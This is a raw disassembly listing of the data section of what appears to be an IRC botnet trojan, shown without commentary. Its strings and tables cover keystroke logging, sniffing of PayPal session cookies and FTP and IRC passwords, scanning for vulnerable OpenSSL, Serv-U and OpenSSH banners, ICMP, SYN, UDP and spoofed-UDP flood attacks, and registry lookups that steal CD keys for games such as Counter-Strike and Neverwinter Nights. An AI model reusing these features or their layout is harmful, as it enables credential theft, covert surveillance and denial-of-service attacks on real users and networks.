		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
dword_435238	dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_43551C	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC2o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Co
		align 4
asc_43554C:				; DATA XREF: ___:00411C40o
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 4
		dd offset off_435E10
		dd offset off_435E0C
		dd offset off_435E08
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:004355A4o
		align 4
off_435E08	dd offset word_505446	; DATA XREF: ___:004355A0o
off_435E0C	dd offset dword_435238+11h ; DATA XREF:	___:0043559Co
off_435E10	dd offset word_544F42	; DATA XREF: ___:00435598o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412361+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412361+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412361+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412361+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412361+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412361+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412361+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412361+84o
a366		db '366 ',0             ; DATA XREF: sub_412361+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412361:loc_4123C3o
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412361+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412361+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412361+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412361+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412478+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412478+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412478:loc_4124B8o
					; sub_4124EE+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412478+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412478+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_4124EE+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124EE+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124EE:loc_41253Fo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124EE+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124EE+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412575+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412575+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412575+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412575:loc_4125B5o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412575+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412575+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FC+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FC:loc_41263Co
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FC+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FC+5o
		align 4
unk_436084	db  2Dh	; -		; DATA XREF: sub_412661+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360BC	db  2Dh	; -		; DATA XREF: sub_412661+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360F4	db  2Dh	; -		; DATA XREF: sub_412661+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436128	db  2Dh	; -		; DATA XREF: sub_412661+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43615C	db  2Dh	; -		; DATA XREF: sub_412661+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436190	db  2Dh	; -		; DATA XREF: sub_412661+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_4361C0	db  2Dh	; -		; DATA XREF: sub_412661+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_436214	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B09+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_43643C	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386C+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_43682C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415135+35o
dword_436840	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415135+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AD+60o
		align 4
dword_436878	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524D:loc_415282o
dword_43688C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524D+20o
dword_4368A0	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:0041536Ao
		dd 6574656Ch, 0
		dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BD+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F8+23o
					; sub_4157F1+26o
		align 4
		dd 80000001h
off_4368EC	dd offset aSoftwareValveC ; DATA XREF: sub_415A30+Cr
					; sub_415A30+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_4368F8	dd 2 dup(0)		; DATA XREF: sub_415A30+26o
		dd 80000001h, 437A7Ch, 437A70h,	437A60h, 2 dup(0)
		dd 80000001h, 437A40h, 437A3Ch,	437A28h, 2 dup(0)
		dd 80000001h, 437A04h, 437A3Ch,	4379F8h, 2 dup(0)
		dd 80000001h, 4379D4h, 4379CCh,	4379B8h, 2 dup(0)
		dd 80000001h, 4379A4h, 437994h,	437978h, 2 dup(0)
		dd 80000001h, 437934h, 437ABCh,	437920h, 2 dup(0)
		dd 80000002h, 4378F4h, 4378E8h,	4378C8h, 2 dup(0)
		dd 80000002h, 437894h, 437ABCh,	43787Ch, 2 dup(0)
		dd 80000002h, 437848h, 437ABCh,	437830h, 2 dup(0)
		dd 80000002h, 437818h, 437ABCh,	437800h, 2 dup(0)
		dd 80000002h, 4377C4h, 43D808h,	4377B4h, 2 dup(0)
		dd 80000002h, 43777Ch, 43D808h,	437768h, 2 dup(0)
		dd 80000002h, 43771Ch, 43D808h,	4376FCh, 2 dup(0)
		dd 80000002h, 4376ACh, 43D808h,	437680h, 2 dup(0)
		dd 80000002h, 437644h, 43D808h,	437630h, 2 dup(0)
		dd 80000002h, 4375F8h, 43D808h,	4375E8h, 2 dup(0)
		dd 80000002h, 437598h, 43D808h,	43756Ch, 2 dup(0)
		dd 80000002h, 43752Ch, 43D808h,	437510h, 2 dup(0)
		dd 80000002h, 4374E0h, 43D808h,	4374C0h, 2 dup(0)
		dd 80000002h, 437484h, 43D808h,	437470h, 2 dup(0)
		dd 80000002h, 437428h, 43D808h,	437408h, 2 dup(0)
		dd 80000002h, 4373B4h, 43D808h,	437384h, 2 dup(0)
		dd 80000002h, 437334h, 43D808h,	437308h, 2 dup(0)
		dd 80000002h, 4372C8h, 4372C0h,	4372A0h, 2 dup(0)
		dd 80000002h, 43725Ch, 43D808h,	437240h, 2 dup(0)
		dd 80000002h, 4371F4h, 43D808h,	4371D0h, 2 dup(0)
		dd 80000002h, 43719Ch, 43D808h,	437190h, 2 dup(0)
		dd 80000002h, 43715Ch, 43D808h,	437150h, 2 dup(0)
		dd 80000002h, 43711Ch, 43D808h,	437110h, 2 dup(0)
		dd 80000002h, 4370DCh, 43D808h,	4370D0h, 2 dup(0)
		dd 80000002h, 437094h, 43D808h,	437080h, 2 dup(0)
		dd 80000002h, 437044h, 43D808h,	437030h, 2 dup(0)
		dd 80000002h, 437000h, 437ABCh,	436FE4h, 2 dup(0)
		dd 80000002h, 436FC4h, 436FBCh,	436F98h, 2 dup(0)
		dd 80000002h, 436F7Ch, 436FBCh,	436F5Ch, 2 dup(0)
		dd 80000002h, 436F3Ch, 436FBCh,	436F18h, 2 dup(0)
		dd 80000002h, 436F00h, 436FBCh,	436EFCh, 2 dup(0)
		dd 80000002h, 436EE0h, 436ED0h,	436EC8h, 2 dup(0)
		dd 80000002h, 436E94h, 42C910h,	436E7Ch, 2 dup(0)
		dd 80000002h, 436E40h, 436E34h,	436E0Ch, 436DFCh, 436DE8h
		dd 80000002h, 436DC4h, 436DB8h,	436DA4h, 436D94h, 436D8Ch
		dd 80000002h, 436DC4h, 436DB8h,	436D60h, 436D94h, 436D58h
		dd 80000002h, 436DC4h, 436DB8h,	436D28h, 436D94h, 436D20h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
